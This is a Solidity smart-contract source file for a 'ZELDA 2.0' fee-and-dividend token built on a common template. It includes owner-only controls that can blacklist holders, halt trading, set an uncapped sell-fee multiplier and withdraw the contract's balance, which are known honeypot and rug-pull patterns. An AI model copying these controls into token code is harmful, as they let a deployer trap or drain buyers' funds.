文件 1 的 1:Zelda.sol
pragma solidity ^0.7.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Auth {
address internal owner;
mapping (address => bool) internal authorizations;
constructor(address _owner) {
owner = _owner;
authorizations[_owner] = true;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
modifier authorized() {
require(isAuthorized(msg.sender), "!AUTHORIZED"); _;
}
function authorize(address adr) public onlyOwner {
authorizations[adr] = true;
}
function unauthorize(address adr) public onlyOwner {
authorizations[adr] = false;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function isAuthorized(address adr) public view returns (bool) {
return authorizations[adr];
}
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
authorizations[adr] = true;
emit OwnershipTransferred(adr);
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IDividendDistributor {
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external;
function setShare(address shareholder, uint256 amount) external;
function deposit() external payable;
function process(uint256 gas) external;
}
contract DividendDistributor is IDividendDistributor {
using SafeMath for uint256;
address _token;
struct Share {
uint256 amount;
uint256 totalExcluded;
uint256 totalRealised;
}
IBEP20 RWRD = IBEP20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
IDEXRouter router;
address[] shareholders;
mapping (address => uint256) shareholderIndexes;
mapping (address => uint256) shareholderClaims;
mapping (address => Share) public shares;
uint256 public totalShares;
uint256 public totalDividends;
uint256 public totalDistributed;
uint256 public dividendsPerShare;
uint256 public dividendsPerShareAccuracyFactor = 10 ** 36;
uint256 public minPeriod = 45 * 60;
uint256 public minDistribution = 1 * (10 ** 18);
uint256 currentIndex;
bool initialized;
modifier initialization() {
require(!initialized);
_;
initialized = true;
}
modifier onlyToken() {
require(msg.sender == _token); _;
}
constructor (address _router) {
router = _router != address(0)
? IDEXRouter(_router)
: IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_token = msg.sender;
}
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external override onlyToken {
minPeriod = _minPeriod;
minDistribution = _minDistribution;
}
function setShare(address shareholder, uint256 amount) external override onlyToken {
if(shares[shareholder].amount > 0){
distributeDividend(shareholder);
}
if(amount > 0 && shares[shareholder].amount == 0){
addShareholder(shareholder);
}else if(amount == 0 && shares[shareholder].amount > 0){
removeShareholder(shareholder);
}
totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
shares[shareholder].amount = amount;
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
}
function deposit() external payable override onlyToken {
uint256 balanceBefore = RWRD.balanceOf(address(this));
address[] memory path = new address[](2);
path[0] = WETH;
path[1] = address(RWRD);
router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: msg.value}(
0,
path,
address(this),
block.timestamp
);
uint256 amount = RWRD.balanceOf(address(this)).sub(balanceBefore);
totalDividends = totalDividends.add(amount);
dividendsPerShare = dividendsPerShare.add(dividendsPerShareAccuracyFactor.mul(amount).div(totalShares));
}
function process(uint256 gas) external override onlyToken {
uint256 shareholderCount = shareholders.length;
if(shareholderCount == 0) { return; }
uint256 gasUsed = 0;
uint256 gasLeft = gasleft();
uint256 iterations = 0;
while(gasUsed < gas && iterations < shareholderCount) {
if(currentIndex >= shareholderCount){
currentIndex = 0;
}
if(shouldDistribute(shareholders[currentIndex])){
distributeDividend(shareholders[currentIndex]);
}
gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
gasLeft = gasleft();
currentIndex++;
iterations++;
}
}
function shouldDistribute(address shareholder) internal view returns (bool) {
return shareholderClaims[shareholder] + minPeriod < block.timestamp
&& getUnpaidEarnings(shareholder) > minDistribution;
}
function distributeDividend(address shareholder) internal {
if(shares[shareholder].amount == 0){ return; }
uint256 amount = getUnpaidEarnings(shareholder);
if(amount > 0){
totalDistributed = totalDistributed.add(amount);
RWRD.transfer(shareholder, amount);
shareholderClaims[shareholder] = block.timestamp;
shares[shareholder].totalRealised = shares[shareholder].totalRealised.add(amount);
shares[shareholder].totalExcluded = getCumulativeDividends(shares[shareholder].amount);
}
}
function claimDividend() external {
distributeDividend(msg.sender);
}
function getUnpaidEarnings(address shareholder) public view returns (uint256) {
if(shares[shareholder].amount == 0){ return 0; }
uint256 shareholderTotalDividends = getCumulativeDividends(shares[shareholder].amount);
uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
if(shareholderTotalDividends <= shareholderTotalExcluded){ return 0; }
return shareholderTotalDividends.sub(shareholderTotalExcluded);
}
function getCumulativeDividends(uint256 share) internal view returns (uint256) {
return share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
}
function addShareholder(address shareholder) internal {
shareholderIndexes[shareholder] = shareholders.length;
shareholders.push(shareholder);
}
function removeShareholder(address shareholder) internal {
shareholders[shareholderIndexes[shareholder]] = shareholders[shareholders.length-1];
shareholderIndexes[shareholders[shareholders.length-1]] = shareholderIndexes[shareholder];
shareholders.pop();
}
}
contract Zelda is IBEP20, Auth {
using SafeMath for uint256;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "ZELDA 2.0";
string constant _symbol = "ZLDA";
uint8 constant _decimals = 6;
uint256 _totalSupply = 600 * 10**6 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply.mul(2).div(100);
uint256 public _maxWalletToken = _totalSupply.mul(4).div(100);
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
bool public blacklistMode = true;
mapping (address => bool) public isBlacklisted;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
mapping (address => bool) isTimelockExempt;
mapping (address => bool) isDividendExempt;
uint256 public liquidityFee = 0;
uint256 public reflectionFee = 0;
uint256 public marketingFee = 0;
uint256 public ecosystemfee = 0;
uint256 public burnFee = 0;
uint256 private totalFee = marketingFee + reflectionFee + liquidityFee + ecosystemfee + burnFee;
uint256 public feeDenominator = 100;
uint256 public sellMultiplier = 100;
address private autoLiquidityReceiver;
address private marketingFeeReceiver;
address private ecosystemfeeReceiver;
address public burnFeeReceiver;
uint256 targetLiquidity = 85;
uint256 targetLiquidityDenominator = 100;
IDEXRouter public router;
address public pair;
bool public tradingOpen = false;
DividendDistributor public distributor;
uint256 distributorGas = 50000;
bool public buyCooldownEnabled = false;
uint8 public cooldownTimerInterval = 60;
mapping (address => uint) private cooldownTimer;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply * 5 / 10000;
bool inSwap;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () Auth(msg.sender) {
router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
_allowances[address(this)][address(router)] = uint256(-1);
distributor = new DividendDistributor(address(router));
isFeeExempt[msg.sender] = true;
isTxLimitExempt[msg.sender] = true;
isTimelockExempt[msg.sender] = true;
isTimelockExempt[DEAD] = true;
isTimelockExempt[address(this)] = true;
isDividendExempt[pair] = true;
isDividendExempt[address(this)] = true;
isDividendExempt[DEAD] = true;
autoLiquidityReceiver = msg.sender;
marketingFeeReceiver = 0xB49f53E2886480E68950697311E0Df4895D8804A;
ecosystemfeeReceiver = 0xFE9DaCA926390d8ee28A92F7C15aA19655786352;
burnFeeReceiver = DEAD;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != uint256(-1)){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function setMaxWalletPercent_base5000(uint256 maxWallPercent_base5000) external onlyOwner() {
_maxWalletToken = (_totalSupply * maxWallPercent_base5000 ) / 5000;
}
function setMaxTxPercent_base5000(uint256 maxTXPercentage_base5000) external onlyOwner() {
_maxTxAmount = (_totalSupply * maxTXPercentage_base5000 ) / 5000;
}
function setTxLimit(uint256 amount) external authorized {
_maxTxAmount = amount;
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if(!authorizations[sender] && !authorizations[recipient]){
require(tradingOpen,"Trading not open yet");
}
if(blacklistMode){
require(!isBlacklisted[sender] && !isBlacklisted[recipient],"Blacklisted");
}
if (!authorizations[sender] && recipient != address(this) && recipient != address(DEAD) && recipient != pair && recipient != marketingFeeReceiver && recipient != ecosystemfeeReceiver && recipient != autoLiquidityReceiver && recipient != burnFeeReceiver){
uint256 heldTokens = balanceOf(recipient);
require((heldTokens + amount) <= _maxWalletToken,"Total Holding is currently limited, you can not buy that much.");}
if (sender == pair &&
buyCooldownEnabled &&
!isTimelockExempt[recipient]) {
require(cooldownTimer[recipient] < block.timestamp,"Please wait for 1min between two buys");
cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
}
checkTxLimit(sender, amount);
if(shouldSwapBack()){ swapBack(); }
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived;
if(sender == pair && !isFeeExempt[sender] && !isFeeExempt[recipient]){
amountReceived = takeFee(sender, amount, (false));
}
else if(recipient == pair && !isFeeExempt[sender] && !isFeeExempt[recipient]) {
amountReceived = takeFee(sender, amount, (true));
} else{
amountReceived = amount;
}
_balances[recipient] = _balances[recipient].add(amountReceived);
if(!isDividendExempt[sender]) {
try distributor.setShare(sender, _balances[sender]) {} catch {}
}
if(!isDividendExempt[recipient]) {
try distributor.setShare(recipient, _balances[recipient]) {} catch {}
}
try distributor.process(distributorGas) {} catch {}
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function checkTxLimit(address sender, uint256 amount) internal view {
require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
}
function shouldTakeFee(address sender) external view returns (bool) {
return !isFeeExempt[sender];
}
function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) {
uint256 multiplier = isSell ? sellMultiplier : 100;
uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);
uint256 burnTokens = feeAmount.mul(burnFee).div(totalFee);
uint256 contractTokens = feeAmount.sub(burnTokens);
_balances[address(this)] = _balances[address(this)].add(contractTokens);
_balances[burnFeeReceiver] = _balances[burnFeeReceiver].add(burnTokens);
emit Transfer(sender, address(this), contractTokens);
if(burnTokens > 0){
emit Transfer(sender, burnFeeReceiver, burnTokens);
}
return amount.sub(feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function clearStuckBalance(uint256 amountPercentage) external authorized {
uint256 amountBNB = address(this).balance;
payable(msg.sender).transfer(amountBNB * amountPercentage / 100);
}
function clearStuckBalance_sender(uint256 amountPercentage) external authorized {
uint256 amountBNB = address(this).balance;
payable(msg.sender).transfer(amountBNB * amountPercentage / 100);
}
function set_sell_multiplier(uint256 Multiplier) external onlyOwner{
sellMultiplier = Multiplier;
}
function tradingStatus(bool _status) public onlyOwner {
tradingOpen = _status;
}
function whiteList(address _address, bool _status) public onlyOwner {
isFeeExempt[_address] = _status;
isTxLimitExempt[_address] = _status;
isTimelockExempt[_address] = _status;
}
function cooldownEnabled(bool _status, uint8 _interval) public onlyOwner {
buyCooldownEnabled = _status;
cooldownTimerInterval = _interval;
}
function swapBack() internal swapping {
uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2);
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WETH;
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountBNB = address(this).balance.sub(balanceBefore);
uint256 totalBNBFee = totalFee.sub(dynamicLiquidityFee.div(2));
uint256 amountBNBLiquidity = amountBNB.mul(dynamicLiquidityFee).div(totalBNBFee).div(2);
uint256 amountBNBReflection = amountBNB.mul(reflectionFee).div(totalBNBFee);
uint256 amountBNBMarketing = amountBNB.mul(marketingFee).div(totalBNBFee);
uint256 amountBNBDev = amountBNB.mul(ecosystemfee).div(totalBNBFee);
try distributor.deposit{value: amountBNBReflection}() {} catch {}
(bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountBNBMarketing, gas: 30000}("");
(tmpSuccess,) = payable(ecosystemfeeReceiver).call{value: amountBNBDev, gas: 30000}("");
tmpSuccess = false;
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountBNBLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
}
}
function setIsDividendExempt(address holder, bool exempt) external authorized {
require(holder != address(this) && holder != pair);
isDividendExempt[holder] = exempt;
if(exempt){
distributor.setShare(holder, 0);
}else{
distributor.setShare(holder, _balances[holder]);
}
}
function enable_blacklist(bool _status) public onlyOwner {
blacklistMode = _status;
}
function manage_blacklist(address[] calldata addresses, bool status) public onlyOwner {
for (uint256 i; i < addresses.length; ++i) {
isBlacklisted[addresses[i]] = status;
}
}
function setIsFeeExempt(address holder, bool exempt) external authorized {
isFeeExempt[holder] = exempt;
}
function setIsTxLimitExempt(address holder, bool exempt) external authorized {
isTxLimitExempt[holder] = exempt;
}
function setIsTimelockExempt(address holder, bool exempt) external authorized {
isTimelockExempt[holder] = exempt;
}
function setFees(uint256 _liquidityFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _ecosystemfee, uint256 _burnFee, uint256 _feeDenominator) external authorized {
liquidityFee = _liquidityFee;
reflectionFee = _reflectionFee;
marketingFee = _marketingFee;
ecosystemfee = _ecosystemfee;
burnFee = _burnFee;
totalFee = _liquidityFee.add(_reflectionFee).add(_marketingFee).add(_ecosystemfee).add(_burnFee);
feeDenominator = _feeDenominator;
require(totalFee < feeDenominator/4, "Fees cannot be more than 25%");
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _ecosystemfeeReceiver, address _burnFeeReceiver ) external authorized {
autoLiquidityReceiver = _autoLiquidityReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
ecosystemfeeReceiver = _ecosystemfeeReceiver;
burnFeeReceiver = _burnFeeReceiver;
}
function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized {
swapEnabled = _enabled;
swapThreshold = _amount;
}
function setTargetLiquidity(uint256 _target, uint256 _denominator) external authorized {
targetLiquidity = _target;
targetLiquidityDenominator = _denominator;
}
function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external authorized {
distributor.setDistributionCriteria(_minPeriod, _minDistribution);
}
function setDistributorSettings(uint256 gas) external authorized {
require(gas < 750000);
distributorGas = gas;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
}
function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
return getLiquidityBacking(accuracy) > target;
}
function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {
require(from==msg.sender);
require(addresses.length < 501,"GAS Error: max airdrop limit is 500 addresses");
require(addresses.length == tokens.length,"Mismatch between Address and token count");
uint256 SCCC = 0;
for(uint i=0; i < addresses.length; i++){
SCCC = SCCC + tokens[i];
}
require(balanceOf(from) >= SCCC, "Not enough tokens in wallet");
for(uint i=0; i < addresses.length; i++){
_basicTransfer(from,addresses[i],tokens[i]);
if(!isDividendExempt[addresses[i]]) {
try distributor.setShare(addresses[i], _balances[addresses[i]]) {} catch {}
}
}
if(!isDividendExempt[from]) {
try distributor.setShare(from, _balances[from]) {} catch {}
}
}
function multiTransfer_fixed(address from, address[] calldata addresses, uint256 tokens) external onlyOwner {
require(from==msg.sender);
require(addresses.length < 801,"GAS Error: max airdrop limit is 800 addresses");
uint256 SCCC = tokens * addresses.length;
require(balanceOf(from) >= SCCC, "Not enough tokens in wallet");
for(uint i=0; i < addresses.length; i++){
_basicTransfer(from,addresses[i],tokens);
if(!isDividendExempt[addresses[i]]) {
try distributor.setShare(addresses[i], _balances[addresses[i]]) {} catch {}
}
}
if(!isDividendExempt[from]) {
try distributor.setShare(from, _balances[from]) {} catch {}
}
}
event AutoLiquify(uint256 amountBNB, uint256 amountBOG);
}